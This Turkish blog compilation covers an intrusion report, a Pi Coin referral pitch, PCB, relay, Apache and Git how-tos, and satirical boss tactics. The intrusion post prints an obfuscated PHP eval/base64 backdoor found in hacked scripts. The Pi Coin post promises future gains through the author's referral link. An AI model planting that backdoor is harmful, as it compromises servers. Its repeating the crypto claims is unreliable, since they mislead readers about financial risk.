Zararlı bir PHP kodu (PHP Malware)

Eski bir wordpress plug’innin neden olduğu sızmada aşağıdaki kod php betiklerinin başına eklenmiş.

<?  $oO0="cr"."eat"."e_fun"."cti"."on";[email protected]$oO0('$x','ev'.'al'.'("?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$o0O("s7EvyCjg5cpM0yguKSrIL9ZQiQ92DQpzDYpW9wgJCYgPBfLiHd1d/ULUY3WU8vPTc1KT8kuUNDWrebk4M1ITU1KLNJRAKvUN9QwVjA0MFXzzy1JTFAJSi3IT81LzSnIqlTStkdT65CcnlmTm51kpZJSUFBRb6euXl5frpSUmp+YmFmcb5+ZZmuol5+cCNaVkpgI11vJy2dsBAA==");
Okumaya devam et “Zararlı bir PHP kodu (PHP Malware)”

Pi Coin: Geleceğin Kripto Parası

Kripto paralar dominant para birimi olan BitCoin’in $20.000’a ulaşması ile daha çok konuşulacağa benziyor. Bu yükseliş çok volatileli olsa da genel trendin son 10 yıldır yukarı doğru olduğunu görmek için finans uzmanı olmaya gerek yok. Çoğu kişinin kripto paralar ile tanışmadığını düşünürsek; kripto paraların bilinirliği arttıkça bu trend çizgisi artan bir ivme ile yükselmeye devam edecek gibi gözüküyor. Şuan oldukça sınırlı bir kitle tarafından kullanılan ve bilinen kripto paraların geleceği oldukça parlak. Buradan kripto paraların aylara ve yıllara göre değişimini görebilir piyasa hacimlerine göz atabilirsiniz. 2020 itibari ile 1 tirilyon dolara yaklaşan bir hacim söz konusu.

Bu yazıyı “zararın neresinden dönülse kardır” düşüncesi ile yeni bir kripto para projesi olan Pi Coin hakkında geç kalmış bir haber olarak yazıyorum. Pi Coin şuan herhangi bir borsa da işlem görmeyen ve tüm alt kripto para birimlerinin geçirdiği gibi bir proje sürecinde. Fakat diğer tüm kripto para birimlerinden farklı olarak 2020 sonu itibari ile geldiği nokta geleceğinin çok parlak olduğunu düşündürüyor. Bu özelliğini kullanıcı sayısının kısa sürede 10.000.000 (on milyon)’un üzerine çıkmasına borçlu olduğunu düşünüyorum. Bu özelliği ile şimdiye kadar kripto paralar ile tanışmamış ve işlem yapmamış büyük bir kitleyi barındırmasından ötürü farklı bir öneme sahip. Şimdiden bu kullanıcılar arasına katılarak yakın gelecekte (tahminlerime göre birkaç yıl sürecektir) önemli bir maddi kazanca sahip olma şansınız var.

Eğer akıllı bir telefona sahipseniz Pi Network’e üye olup hiç bir yatırım ve harcama yapmadan para kazanmaya başlayabilirsiniz. Bunun için Pi Network uygulamasını yükleyerek 24 saatte bir uygulamadaki kazmaya devam et düğmesine tıklatmanız yeterli.

Uygulamayı kullanabilmeniz için birisinin size referans olması gerekiyor. Doğrudan üyelik kabul edilmiyor. Pi Network’ün bu kadar büyük bir kitleye yaygınlaşmasının nedeni de işte bu; referans sistemi ile yayılma ve yayılmayı teşvik etme. Bir referans ile üye olarak kazmaya başlıyor ve kazma hızınızı artırmak için rehberinizdeki tanıdıklarınıza kendi referans kodunuz ile uygulamayı yüklemelerini sağlamanız gerekiyor. Her eklediğiniz kişi saatlik kazma hızınızın $0.08 pi artmasını sağlıyor. Eğer böyle bir referansa koda sahip değilseniz ve ileride kripto para borsalarında listelenmeye başladığınızda birikiminizi nakite çevirmek istiyorsanız aşağıdaki referansı kullanabilirsiniz. Uygulamayı yükledikten sonra tanıdıklarınızı da kendi referans kodunuzla davet edebilirsiniz.

https://minepi.com/enseitankadl

Pi Coin Ponzi ya da bir tür “saadet zinciri” mi?

Değil. Saadet zincirinde sisteme girerken bir mebla yatırır ve üye olursunuz. Size referans olan kişi de bundan bir pay alır. Benzer şekilde sizde sisteme dahil ettiğiniz kişilerin yaptıkları ödemeden pay alırsınız. Toplumun geneline yayılmış bir takas aracı olması iddiası ile var olan Pi Network projesinde böyle bir durum yok. Yani cebinizden para çıkması söz konusu değil. Amaç çok geniş kitlelere yayılarak bir para birimi olarak kabul görmesini sağlamak. Bu anlamda Pi Coin’in ileride maddi bir değer arz edebilmesi için yaygılaştırılması, daha fazla kişi tarafından kabul edilmesi ve benimsenmesi gerekiyor. Bir kripto paranın nasıl bir maddi değer arz edebileceği kafanıza yatmıyorsa buradaki ve buradaki kripto para birimlerinin dünyadaki onlarca borsada ne hacimde takas edildiğini inceleyin.

Günümüzde kullandığımız kağıt paralar da bu mantıkla işler. Normalde 100 dolarlık bir kağıt paranın kağıt olmasının ötesindeki değeri karşılılıklı mutabakattan kaynaklanır. Yani bu parayı alan da veren de ona bir değer addetmiştir. Lakin son 50 yıldır merkez bankalarının kontrolsüz ve denetimsiz şekilde para basıyor olmaları sistemi zorlayan en büyük tehlike. Şöyle düşünün bir ülkesiniz ve ülkenizi geliştirmek için sanayinizin temel ihtiyaç malzemelerinden biri olan çeliğe ihtiyacınız var. Fakat bu çeliği siz üretmiyorsunuz (ya da üretiminiz ihtiyacınızı karşılamıyor). Ne yapacaksınız çeliği olan bir ülkeden satın alacaksınız. Peki parayı nereden bulacaksınız? Son 50 yıldır yapılan bu ihtiyaç olduğunda para basmak, karşılıksız para basmak. Örneğin bir gecede tirilyonlarca dolar basan Amerika çinli çelik üreten bir işçinin 8 yerine günde 12 saat çalışmasına neden oluyor. Neyin karşılığında? Değeri üzerinde ortak mutabakata varılan para birimi ile. Benzer şekilde basılan bu parayı alan bankalarda 10 katına kadar kredi dağıtabiliyor.

Özetle açıklamaya çalıştığım bu örnekler ile şuan dünyanın içinde bulunduğu finans sisteminin geleceğinin parlak olmadığı bugünden başlayan bir süreçle The Great Reset adıyla bilinen yeni bir modele geçilmesi gerektiği aşikar.

Mevcut finans sitemindeki ana sorun merkez bankalarının para basması ve bu basıma hiçbir otoritenin müdehale edememesi. Son yılların meşhur kripto paralar konusu tam da bu konuya çözüm buluyor. Sınırlı bir kaynağa sahip ve sirkülasyonu kontrol eden bir otorite yok. Yani merkeziyetsiz. Kripto paranın değerini ve üretimini kripto para kullanıcıları belirliyor. Tabi buradaki bir handikap da elinde çok yüklü miktarda rezerv bulundurun kişi ya da kuruluşların kripto paraya yön verebilme ihtimali. Şuan ana kripto para ve alt kripto paraların borsalardaki dağılımına bakacak olursanız neredeyse tüm dünya vatandaşlarına ve coğrafyalarına homojen olarak yayılmış olması.

Bitirirken; kripto paranı daha da güçlü şekilde var olacağı önümüzdeki 10 yıllık süreçte birçok kripto para olgunlaşacak ve gelişimini tamamlayacak. Pi Coin bu paralar içinde öğrencilere, ev hanımlarına, yaşlılara ve aklınıza gelebilecek tüm demografik kitlelere ulaşmış ve ulaşma potansiyeli en yükse proje. Pi Network projesinin yegane amacı da bu sıradan insanlar için erişilebilir bir para birimi olmak. Şimdiden bu projeye dahil olarak gelecekte kullanacağımız/kullanmak zorunda olacağımız kripto para ağına giriş yapabilirsiniz.

https://minepi.com/enseitankadl

Referans olarak kullabileceğiniz kullanıcı adı enseitankadl sondaki harfin Türkçe selendirilişi “le” olan küçük “L” harfidir.

ÖNEMLİ: Uygulamayı Yükledikten sonra şu konuları gözardı etmeyin

Yakın gelecekte Pi Coin maddi değer arz etemye başlamadan önce potansiyel Pi Coin getirisinden yararlanabilmek için aşağıda yazdığım konulara dikkat etmelisiniz.

1) Uygulamaya bilgilerinizi tanımlarken isim ve soyad bilgilerinizi kimliğinizde gözüktüğü şekilde yazın.

2) Uygulamanın profil menüsündeki doğrulama sayfasından telefon numaranızı doğrulayarak hesabınızın size ait olduğunu kanıtlayın. Aksi takdirde Pi Coin bakiyeniz geçersiz olabilir. Hesabınızı doğrulamak için şunları yapın:

  • Uygulamanın ana menüsünden profil seçeneğine tıklatın.
  • Hesap doğrulama kısmından telefon numarasını seçin.
  • Doğrulama kodunun gönderileceği bir ülke seçin. (Hangisini seçtiğiniz önemli değil)
  • Pi Network uygulaması ürettiği bir sayısal kodu telefonunuzun sms göndericisini kullanarak sunucusuna gönderecek.
  • Mesaj sunucuya ulaştıktan kısa bir süre sonra telefon ile doğrulama seçeneğinin sağında yeşil renkli kontrol işaretini göreceksiniz.
  • Tüm yapmanız gerekenler bu kadar.

3) Facebook üzerinden de doğrulama yaparsanız cüzdanınız ile olan bağınızı kuvvetlendirmiş olacaksınız.

4) Siz de en az 3 kişiye daha referans olarak güvenlik çemberinizi oluşturmalısınız. Referans olduğunuz kişiler de bu başlıktaki işlemleri yapmalılar ki cüzdanlarındaki bakiyeleri ve size olan katkıları geçerli olsun.

Pi Coin Hakkında Yanlış Bilinenler

  • Pi ağına üye olurken kalabalık bir grubunun referansı kullanmak yeni üye olan kişiye bir katkı sağlamıyor. Bu yanıltıcı bilgiyi referans olan kişi yeni üye olacak kişileri etkilemek, grubunu ve dolayısıyla saatlik kazım hızını arttırmak için paylaşıyor. Yeni üyeler sadece referansını kullandığı kişiye katkı veriyor kendisine bir katkısı yok. Yeni üye olan kişi de Pi Network’ün ana amacı olan geniş kitlelere yayılarak kullanırlığını artırmak adına yeni üyeler davet etmeli. Mevcut üyenin davet ettiği her yeni üye saatlik kazım hızını 0.08pi arttırıyor. Yani referans kodu sadece sahibine katkı sağlıyor. Güvenlik çemberinizi 3 kazım periyodundan sonra kazandığınız katkıcı (contributer) ünvanı ile oluşturmaya başlayabilirsiniz.
  • Güvenlik çemberine eklediğiniz kişiler biriktirdiğiniz Pi Coin’i gerçekten elde edebilmeniz için tanıdığınız kişilerden oluşmalı. Eğer çemberinizdeki kişi kimlik doğrulamasını (ad soyad, telefon vb) yapamaz ise ondan kazandığınız Pi Coin’ler cüzdanınızdan çıkartılacaktır.
  • Pi Network’ün kazım hızı sabit değildir. Üye sayısı her 10’un katında yarıya düşer. Böylece sirkülasyondaki Pi Coin miktarı sınırlandırılarak birim değerinin arttırılması amaçlanır.
  • Pi Network’ün tam olarak ne olduğunu ve nasıl çalıştığını öğrenmek için başkalarının söylediklerine itibare etmeyin buradan white paper’ını inceleyin.

PCB’de YOL KALINLIKLARI VE CLERANCE DEĞERLERİ

PCB çizimine yeni başlayan herkesin aklına gelebilen bazı sorular vardır. En önemlilerinden biri de iletken yolu (Trace) çizimidir.

Peki iletken yolu (Trace) çizerken kullanması gereken kalınlıklar ve diğer iletkenler ile arasında olması gereken minimum boşluk (Clearance) ne olmalı?

Öncelikle iletken yolumuzun taşıma kapasitesini nasıl bulabileceğinizi açıklamaya çalışalım. Elektronik endüstrisinde genel kabul görmüş PCB tasarım standardı IPC-2221 (Rigit PCB’ler için)’dir. Akım taşıma kapasitesi için referans alınacak nokta IPC-2221B standardındaki 6.2 kısmıdır. Burada iç ve dış katmanlardaki bakır iletkenlerin taşıma kapasiteleri için formüller tanımlanmıştır. Bu formüllerden sonuç almak için izin verilen sıcaklık artışı, yolun uzunluğu, k sabiti vb. değerler de gerekir.

Buradaki formül şu şekildedir. Detaylı bilgi IPC-2221B standardında bulabilirsiniz.Trace Genişlik (W) = Trace Alan / (Bakır Kalınlık (T) [oz] * 1.378 [mil / oz])Trace Alan [mil ^ 2] = (Akım [Amper] / (K * (Sıcaklık_Artışı [° C]) ^ B)) ^ (1 / C)İç Katman – K sabiti = 0.024, B =0.44 , C=0.725Dış katman – K sabiti= 0.048, B =0.44 , C=0.725

Minimum boşluklar konusuna gelince bunun içinde IPC2221-6.1 tablosu kısmını referans olarak kabul edebilirsiniz. Burada paylaşılan bilgilere göre minimum izolasyon boşlukları ayarlayabilirsiniz. Unutmayalım ki burada amaç PCB üretilebilirliği değildir, amaç devremizin elektriksel izolasyon açısından yüksek performans ile çalışmasını sağlamaktır. Clearance ve Creepage olarak adlandırılan iki kavram bulunuyor. Biz şu an Clearence kısmına odaklanıyoruz.

Başlarda akım taşıma kapasite için referans alınan kaynak, IPC-2221B de(akım, sıcaklık artışı, enine kesit arasındaki ilişki) standart bir dizi grafik özetlenmişti. Daha sonra bazı faktörleri ve olasılıkları göz önüne aldığımızda bu sonuçlar her tasarım için geçerli olmayabileceği görüldü. Bu sebepten yeni bir çalışma ile IPC-2152 standardı termal iletkenlik, vialar, malzeme ve kalınlığın akım, kesit bakır ağırlığı ve sıcaklık etkisini üzerine çalışmalar yapıldı ve günümüzde IPC-2152 artık daha önde gelen standart haline geldi. Bu standart ile daha iyi sonuçlar elde ediliyor lakin karşılık olarak karmaşık formül ve hesaplar ortaya çıkıyor. IPC-2152 karmaşık devreler için gerekli olabilir. Standart kartlarda IPC2221 uygulanabilir. Tercih sizin uygulamak istediğiniz seçime kalıyor. Devre ihtiyacınıza düşünerek güvenlik payı eklemeyi unutmadan her iki standart kullanarak çizimler yapabilirsiniz. İnternet üzerinde her iki türü için birçok ücretsiz hesaplama araçları bularak devrenize uygun sonuçlara hızlıca ulaşabilirsiniz.

Diğer bir standart olan IEC-60950-1 de güvenlik gereksinimleri belirler. Bunu referans almak isterseniz buradaki izolasyon güvenliği içinde bu standarda göz atmanızda fayda bulunuyor. Her iki standart da tercih ediliyor.

Kaynak: https://cdn.ozdisan.com/journal/202005/COMPONENT_Sayi_13.pdf

Raspberry Pi Kitabım Çıktı

Uzun ve yorucu bir çalışmanın sonunda “Raspberry Pi ile Linux ve Elektronik Uygulamaları” isimli kitabım kısa bir süre önce okuyucuları ile buluştu.

Birçok yabancı ve yerli kaynağın bütünlüklü şekilde bir arada ele alındığı kitabın Raspberry Pi ile onun Linux ve elektronik uygulamaları konusundaki Türkçe kaynak eksikliğini gidereceğini temenni ediyorum.

Kitabın içeriğini ve hakkındaki soruları tanıtım sitesi olan www.raspberrypikitabi.com adresinden detaylı olarak inceleyebilirsiniz.

Sponsorlar sayesinde kitabı ücretsiz olarak temin etmek de mümkün olacak, bunun için gerekli şartları ve yapmanız gerekenleri SSS bölümünden kontrol edebilirsiniz.

Kitabın, ülkemizin geleceği olan çocuklarımızın yetişmesinde ve bilgiye erişiminin kolaylaştırılması adına fayda getirmesi temennisiyle.

Önsöz: http://www.raspberrypikitabi.com/onsoz/
İçindekiler:: http://www.raspberrypikitabi.com/icindekiler/
Sık Sorulan Sorular (SSS): http://www.raspberrypikitabi.com/sik-sorulan-sorular/

Röle Testleri: SONGLE SRD 05VDC-SL-C

Cidddi bir projede kullanmak üzere rölelerin hatalı çalışma/arızalanma durumunu sınamam gerekti. SONGLE SRD 05VDC-SL-C model röle için elde ettiğim sonuçları aşağıda paylaşıyorum. Deneyimlerimi özetlemem gerekirse; bu röle kapasitif özelliği olan (girişinde yüksek değerli bir kondansatör kullanılmış herhangi bir elektronik cihaz) yükleri anahtarlamak için uygun değil. Sayfanın sonunda paylaştığım röle teknik dökümanında (Relay Technical Information) görebileceğiniz üzere, kapasitif bir yük anahtarlandığında; başlangıç anında nominal akımının 40 katına, endüktif yük ise 10 katına kadar akım çekebilir. Tungsten flamanlı akkor lambalar da 10 katına kadar başlangıç akımı (inrush current) çekebilir. Aşağıdaki grafikler bu durumu gösteriyor. Ayrıca, rölelerin güvenilirliği ile ilgili detaylı bilgiyi kitabımın ilgili bölümünde bulabilirsiniz.

Çeşitli yüklerin başlangıç ani akımları (inrush current)

Test – 1: RÖLE SONGLE SRD 05VDC-SL-C

220v 100w ~1A ampül ile test ettim. Ampül röleye çok yakın olduğu için
röle 50 santigrat kadar sıcaklıkta çalıştı. Bu şekilde 150K’da yapışmaya başladı. Soğuttuğumda veya gövdesine vurduğumda paleti bırakıyordu.
Soğuttuktan sonra bir süre daha gidiyordu. Rölenin %50 zamanında açık kalması ve ısı kaynağından ötürü yorulduğu belli oldu.

Test – 2: RÖLE SONGLE SRD 05VDC-SL-C

6.3v 6600uF ile 0.5 sn. kısa devre 2.5sn. şarj 600K’dan fazla tekrarlatıldı.
Başarılı olan bu testi kendi isteğimle sonlandırdım.

Test – 3: RÖLE SONGLE SRD 05VDC-SL-C

32v 2200uF ile kısa devre testinde ilk denemede kontaklar yapıştı.

Test – 4: RÖLE SONGLE SRD 05VDC-SL-C

32v 1000uF ile kısa devre testinde ilk denemede kontaklar yapıştı.

Word kelime dizininin yazıcı çıktısında (PDF) güncellenmeme sorunu ve çözümü

Merhaba, MS Word dökümanınında işaretlediğiniz girdiler ile oluşturduğunuz dizin, yazıcı veya PDF çıktısında güncellenmiyorsa aşağıdaki ayarları kontrol edin.

Word seçenekleri (seçenekler) penceresine ulaşmak için araç çubuğundaki Dosya menü seçeneğine tıklatın.

Seçenekler->Gelişmiş->Yazdır->İzlenen değişiklikleri içeren alanların yazdırılmadan önce güncelleştirilmesine izin ver
Seçenekler->Görüntü->Yazdırma seçenekleri: Yazdırmadan önce alanları güncelleştir

Çalışanlar İçin 7 Patron Taktiği

  1. Eğer eleman cok çalışıyorsa, onu daha da çalıştırın. Çalışmıyorsa kovun. Eğer anlamsız işler yapıyor veya calışıyor gibi gözüküyorsa daha yüksek bir kademeye alın (Mesela kalite kontrol müdürü). Unutmayın ki, büyük işler başarmak için, büyük beyinler gereklidir ama herkes hatırlatıcı notlar yazıp, görev tanımlamaları yapabilir. Üst düzey yöneticilik, bu tür insanları koyabileceğiniz en güvenli yerdir. Böyle bir yarım beyinlinin sizi ameliyata almasını mı tercih edersiniz, yoksa hastanenin iç işleriyle uğrasmasını mı?
  2. Çalışanların motivasyonu cok önemlidir. T-shirt, sinema bileti, sertifika gibi ıvır zıvırları kullanarak onları motive etmeye calışın. Aslında bu şekilde motive olmazlar ama, bu hiç de önemli değildir. Siz üzerinize düşeni yapmış oldunuz. Ne yapabilirler ki? İstifa mı? Heh… Bırakın orta kademe yöneticiler uğraşsınlar. Gerçekten motive edici iki faktörü, ‘para ve iş güvenliği’ni kullanmadan ne yapabiliyorlarsa yapsınlar.
  3. Motivasyonun diğer önemli metodu da, ‘Sen benim için değerlisin.’ taktiğidir. Arada sırada çalışanlarınıza şu cümlelerden birini sarfedin:
    -Kafandaki büyük resmi benimle paylaş.
    -Fikrine ihtiyacım var.
    -Sana akıl danışmak istiyorum.
    Bunları söylerken sakın suratına gülmeyin. Zavallı çalışan bunları gerçek sanıp havaya girecek, böylece motivasyon olayında t-shirt parasından bile yırtacaksınız.
  4. Sık sık ‘toplam kalite’, ‘müşteri memnuniyeti’, ‘proaktiflik’, ‘sinerji’, ‘çalışan memnuniyeti’ gibi belirsiz şeylerden bahsedin. Bu kavramlara yabancı olanlar size hayranlık duyup, bu işi bildiğinizi sanacaklardır. Bu konuşmaların boş olduğunu düşünenler ise istifa edemeyecek kadar uzun süredir çalışıyorlardır.
  5. Son yılların en önemli yöneticilik buluşlarından biri de ‘performans görüşmeleri’dir. Bu görüşmelerdeki en önemli nokta, çalışanı kendine getirmektir. Bir şekilde kendine güveni artan çalışanı, bu yöntemi kullanarak tekrar uysal bir kediye çevirebilirsiniz. Konuşmaya başlangıç şekli şöyle olmalıdır: “Senden memnunum, çalışmalarını beğeniyorum.” Bu cümlenin ardından bulabildiğiniz her türlü şaibeli cümleyi kullanın. İçerik çok önemli değildir. “Bazı insanlarla aranda çekişmeler var.” veya “Giyim tarzını daha iyileştirebilirsin.” gibi. Eğer bu tür bir şey bulamıyorsanız, “Seni daha aktif görmek istiyorum. Çünkü bu potansiyel sende var. Bunu hissedebiliyorum.” kalıbını her zaman kullanabilirsiniz. Unutmayın ki amaç, çalışanın kafasını mümkün olduğunca karıştırmaktır.
  6. Maaş görüşmelerini üst düzey yöneticilerle birlikte yapın. Önemli olan bir toplantı düzenlemek ve bunu yaptığınız izlenimini uyandırmaktır. Böylece tüm yöneticilerin, çalışanlara “Eminim başka bir şirkette daha fazlasını kazanabilirsin, fakat genel zam politikası olarak şirket bunu benimsedi. Ben daha fazla zam alman için mücadele verdim fakat…” gibi bir şeyler söyleme şansı doğar. Böylece çalışanın size bağlılığı artarken, bu zammı da yutturmuş olursunuz. Bu yöntemi ortalama 4 zam dönemi yerler.
  7. Maaş konusundaki atakları savuşturmak için, DIE’nin açıkladığı enflasyon oranında zam yaptığınızı söyleyin. Nasıl olsa kimse bu oranı tam olarak bilmez. Eğer mesai isterlerse, performans görüşmesi yapacağınızı söyleyin. Görüşme için 5. maddeye bakın.
  8. Şirketin diğer şirketler gözündeki imaji da çok önemlidir. Bunu sağlamanın en kolay yolu, şirket çalışanlarına takım çalışması, sinerji, zamanı doğru kullanmak gibi konularda eğitim aldırmaktır. Korkmayın, bu eğitimlere hiçbir zaman katılmanız gerekmez. Çalışanlar ise mecburdur. Bu eğitimleri hafta sonuna alın ki, iş gücü kaybı engellensin. Bu olayı karşılaştığınız diğer şirket patronlarına da anlatıp hava atın. Herkes bunların ne kadar gereksiz olduğunu bilir ama, yine de işe yarar.

[access_compat:error] AH01797: client denied hatasının nedeni ve çözümü

Bu hata; Apache v2.4 üstüne güncellendiğinde yapılandırma dosyalarınızda kalan (.conf ve .htaccess’ler) Order ve ve Allow erişim kontrol yapılandırmalarının kaynaklanır. v2.4 sonrasında bu direktifler geçerli değil.

Apache yapılandırma dosyanızda (/etc/apache2/sites-available/000-default.conf) ve yayın dizinlerinizdeki .htaccess dosyalarında şunlar varsa:

Order allow,deny
Allow from all

silin ve şunu yazın:

Require all granted

Eğer şu satırlar varsa:

Order allow,deny
Deny from all

silin ve şunu yazın:

Require all denied

Yayın dizininizdeki muhtemel .htaccess dosyaların hepsini bulmak için yayın dizinine gidin ve şu komutu yazın:

find . -type f -name .htaccess

Basit Anlatımla: Git/GitHub Kullanımı

Baştan şunu söyleyeyim, programcılar ve bilgisayar kullanarak tasarım çalışmaları yapanlar açısından Git kullanmanın çok fazla avantajları var. Git, evvela geriye dönük olarak satır satır kod geçmişini tutuyor. Güzel bir backup ortamı sağlıyor ve aynı zamanda kodda geçmişte yaptığınız tüm değişiklikleri görebiliyorsunuz. Programlama haricinde çalışma yapanlar için de şu açıklamayı yapmakta fayda var; Git metin tabanlı bir kontrol sistemi. Git’i kullanabilmeniz için yaptığınız çalışmaların kaynak dosyaları metin tabanlı olmalı.

İyi bir yedekleme sistemi olduğunu söylemiştim. 10 yıl önceki bir projenizin kaynak kodlarını muhtemelen kaybetmişsinizdir. Git ile Github kullanmaya başlamak için şuan iyi bir zaman. Git şunları da yapabiliyor: Projenizi parçalara ayırarak geliştirebilir, bu parçaları başkalarına paylaştırıp bitiminde de birleştirebilirsiniz. Mevcut bir yazılım projesini github’a yüklemek, güncellemek ve gerektiğinde yeni bir geliştirme ortamına çekmek birkaç küçük komutla mümkün oluyor. Git ve Github’ın sağladığı daha birçok güzel özellik var. Git, esasında bir versiyon kontrol/yönetim sistemi. GitHub ise git işlevleri için bir nevi hosting ortamı sunuyor. Tabi GitHub’ı kullanmaya başladıkça çok daha fazla özelliğe sahip olduğunu görebilirsiniz. Github sahip olduğu branch, fork ve issue alt yapısı ile programcılar için sosyal bir ortamda sunuyor. Programcıların Facebook’u da denilebilir. GitHub’a alternatif olarak GitLab’da aynı mantıkla çalışıyor. Ana farkı ise GitLab’ı kendinize ait sunucunuza da kurabilmeniz. Proje dosyalarını GitHub sunucularında barındırmak istemeyenler ilk tercihi olabiliyor. Her iki servis de açık kaynak kod projeler ve öğrenciler için ücretsiz. Artık kodlarınızın her geliştirme adımının bir kopyasını ve ilelebet sağlam bir arşivini saklamaya başlamak istiyorsanız bu yazı size göre. Bu arada Git’in mucidi Linus Torwalds yani Linux’un babası.

Laf kalabalığı yapmayacağım felsefeye de girmeyeceğim. Ufak veya büyük kod yazan veya dijital ortamda fikir sanat ürünü metin tabanlı herhangi bir çalışma ortaya koyan herkes için git ve github’ın nasıl kullanılacağını faydalarını olağan bir konuşma diliyle anlatmaya çalışacağım.

Önce github.com’dan bir hesap açın. Diyelimki test-dev-ss963 adında bir projemiz olsun (illaki kodlama projesi olmasına gerek yok 3D tasarım da olabilir) ve projemizi de bilgisayarimizda aynı isimli bir dizinde saklıyor olalım. Şuan ortamımız Linux fakat Windows veya MacOS’da da komutlar ve kullanım kuralları büyük ölçüde aynı.

GitHub’a giriş yaptıktan sonra repositories (ayni depolar) sayfasına giderek New düğmesine tıklatın. Deposunu oluşturmak istediğiniz projenin adı sorulacak (repository name), hatırlamak kolay olsun diye aynı ismi buraya da girebilirsiniz. Dilerseniz (optional) bir açıklama yazabilirsiniz. Bence olabildiğince basit ve uzun açıklamalar yazmalısınız, bu ileride neyin ne olduğu konusunda fayda sağlayacak. Önemli bir ayar da projenin dışarıya açık mı yoksa kapalımı olacağı. Public seçerseniz projenin kaynak kodlarına herkes erişebilir, private yaparsanız sadece siz veya yetki verdiğiniz GitHub kullanıcıları erişebilir.

Create repository düğmesine tıklattıktan sonra aşağıdaki gibi bir sayfa gelecek. Aslında bu sayfadaki komutlar benim burada açıklamaya çalışacaklarımın çok güzel bir özeti mahiyetinde. Bu ekranda bizim için önemli olan ve daha sonra ihtiyacımız olacak olan git adresidir. Yeşil kutu içerisinde gözüken adres. Bu bizim uzak depo adresimiz (remote repo). Bunu bir kenara not edin veya kopyalayın.

Devam edelim, daha elimizde bir proje yok, kaynak kod da yok. Henüz yerel bilgisayarımızdaki dizin ile oluşturduğumuz bu depo (repo) ‘yu ilişkilendirmedik. Bu yazıda göstereceğim örnekte geliştirmesini yaptığım projenin kodları bir linux bilgisayarında test-dev-ss963 adlı bir dizinde duruyor. Dizinin tree komutuyla aldığım listesini aşağıda görebilirsiniz:

Şimdi ilk yapmamız gereken bir seferliğine git araçlarını işletim sistemimize yüklemek. Bu araçlar sayesinde yereldeki kaynak kodlarımızı github.com daki depomuza yükleyeceğiz, güncelleyeceğiz veye tam tersini yapacağız. git araçlarını yüklemek için aşağıdaki komutları verin:

[email protected]:~ $ sudo apt-get update
[email protected]:~ $ sudo apt-get install git -y

Şimdi test-dev-ss963 dizinine girerek (siz kendi dizininize girin) aşağıdaki komutu verelim. Bu komut ile git özelliklerini kullanabilmek için gerekli bir ortam oluşturulacak ve bu ortama ait tüm veriler .git adında yeni olusturulacak (başında nokta olduğu için Linux için gizli dizindir) bir dizinde saklanacak. Bu dizin kodlarımızdaki değişiklikleri takip edecek ve uzak depomuzla arada bir köprü vazifesi kurarak, tüm ayarları, kod geçmişini kısaca herşeyi saklayacak. Bu dizinde herhangi bir işlem yapmamıza gerek yok. Hatta gözünüz gibi bakarsanız çok da iyi olur.

git init

Şimdi git add . komutunu vererek dizindeki (ve alt dizinleri de dahil eder) tüm dosyaları takip listesine ekleyelim. Dilerseniz git add dosya_adi.cpp seklinde de kullanabilirsiniz. Bu takip konusu önemli. Ne takibi bu diyebilirsiniz. Git’in girişte bahsettiğim nimetlerinden yararlanabilmek için, projemize dahil olan dosyaların bildirilmesine takip listesine eklemek, dizine eklemek ve ingilizcesi staging area‘a ya (yani sahneye) eklemek gibi farklı tabirler kullanılıyor. Kısaca, proje dizininde gerekli gereksiz binlerce dosya olabilir bunlardan hangilerinin projenin elzem dosyaları olduğunu bildirmiş oluyoruz. İleride takip listesine ekleyeceğimiz dosyaları belirlemek yerine sadece dışarıda bırakacağımız dosyaları tanımlamayı da anlatacağım (bunu .gitignore dosyası sayesinde yapacağız). Gundan sonra Git dizindeki tüm dosyalarımızı takip etmek üzere listesine ekleyecek. Eğer daha sonra proje dizininde yeni bir dosya/dizin oluştururusanız bu komutu tekrar vermeniz gerekir. Takip listesi demek git depomuza dahil olacak dosyaları belirlemek anlamına geliyor. Bu örnekte . (nokta) yazarak depomuza ne var neyok ekledik fakat sadece belli bir dizini ya da dosyayı da ekleyebilirdik. Genellikle proje dizininde git add . çalıştırılarak ne var ne yok eklenir. O nedenle neler depoya dahil olacak onları takip listesine eklemek için add komutundan faydalanıyoruz.

git add .

Evet, diyelimki bundan sonra kodlarımızı geliştirmeye başladık. Proje dosyalarımızda birçok değişiklikler yaptık. Sırada bu değişikliklerden yereldeki git depomuzu haberdar etmeye geldi. Kullanacağımız komut git commit. Bu komutla takibe aldığımız tüm dosyalarımızı yerel depomuza eklemiş olacağız. Bu ekleme işi ile projemizin o anki halinin detaylı bir fotografı çekilecek ve başta bahsettiğim .git dizinine kaydedilecek.

Komutu verdikten sonra çok güzel birşey olur; nano editörü açılır ve üzerinde değişiklikler yaptığımız dosyalar listelenir ve bize bu güncelleme için biraz açıklama bilgisi girmemiz istenir. Bu aşamada, en son commit’den bu yana yaptığınız değişiklikleri girebilirsiniz. Bu açıklamalar daha sonra yerel depomuzda (çeşitli git araçlarını kullanarak) veya github.com üzerinden kodlarımızı incelerken bize nerede ne değişikliği neden yaptığımız konusunda yol gösterecek. Bu açıklama eğer varsa projeyi beraber yürüttüğümüz diğer paydaşlara da bilgi sağlayacak. Böylece kodların neresinde neyi neden eklediğimiz/değiştirdiğimizi bilme şansına sahip olacaklar. Ayrıca herbir commit, projede geriye dönebileceğiniz sürümleri de tanımlar. Yani işler kötü gitti, kodları eski haline getirmek istiyorsunuz, ancak commit yaptığınız anlara geri dönebilirsiniz. Bu bilgiyi de ne zaman commit yapmanız gerektiği konusuna karar vermek için kullanabilirsiniz. Aşağıdaki commit’i uygulamadan önce Commit’leri kim yapmış başlığına giderek commit’i yapan kişi hakkında ufak bir tanımlama yapmalısınız.

git config --global user.name "enseitankado"
git config --global user.email "[email protected]"

git commit

Evet şimdi geldik işin en can alıcı noktasına. Yerelde yaptigimiz bu desigiklikleri uzak depomuz ile ilişkilendirmeye, Bunun için aşağıdaki komutu verelim. Bu komutu bir kez vereceğiz daha sonraki commit’lerde yeniden vermeye gerek yok. Adres .git dizini içine gerektiği şekilde kaydolacak.

git remote add origin https://github.com/enseitankado/test2-dev-ss963.git

